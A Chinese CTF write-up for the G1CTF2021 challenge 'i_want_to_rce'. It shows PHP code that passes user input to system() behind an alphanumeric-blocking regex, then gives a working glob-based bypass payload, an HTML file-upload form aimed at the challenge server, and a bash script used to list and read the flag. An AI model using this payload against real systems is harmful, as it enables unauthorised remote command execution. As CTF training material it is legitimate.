G1CTF2021 | 题目解析之i_want_to_rce – 作者:无名草talent

52次阅读
没有评论

访问网址显示内容如下:

G1CTF2021 | 题目解析之i_want_to_rce - 作者:无名草talent

分析

代码如下:

<?php
error_reporting(0);
if(!isset($_GET['code'])){                          #code参数highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){       #绕过正则die('fighting!'); 
    }
    system($code);                                  #输出flag}

主要考查PHP代码审计和绕过规则

该题和津门杯hate_php很类似

G1CTF2021 | 题目解析之i_want_to_rce - 作者:无名草talent

不同的地方就是函数eval(),system()

eval类型函数是代码执行          system类型函数是命令执行  不需要闭合

绕过原理:

payload:?code=.%20/???/????????[@-[]

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

G1CTF2021 | 题目解析之i_want_to_rce - 作者:无名草talent

该题的PHP版本是5.6

解题步骤

1.打开本地服务器phpStudy

2.在根目录下一般是    \phpStudy\WWW 创建一个 .txt文件

写一个文件上传php代码   然后改成 .html文件

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://10.1.5.252:2333/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

G1CTF2021 | 题目解析之i_want_to_rce - 作者:无名草talent

上传一个 .txt文件写上

#!/bin/bash
ls

3.抓返回包

G1CTF2021 | 题目解析之i_want_to_rce - 作者:无名草talent

然后cat,得到flag

G1CTF2021 | 题目解析之i_want_to_rce - 作者:无名草talent

来源:freebuf.com 2021-05-27 16:17:15 by: 无名草talent

正文完
 0
评论(没有评论)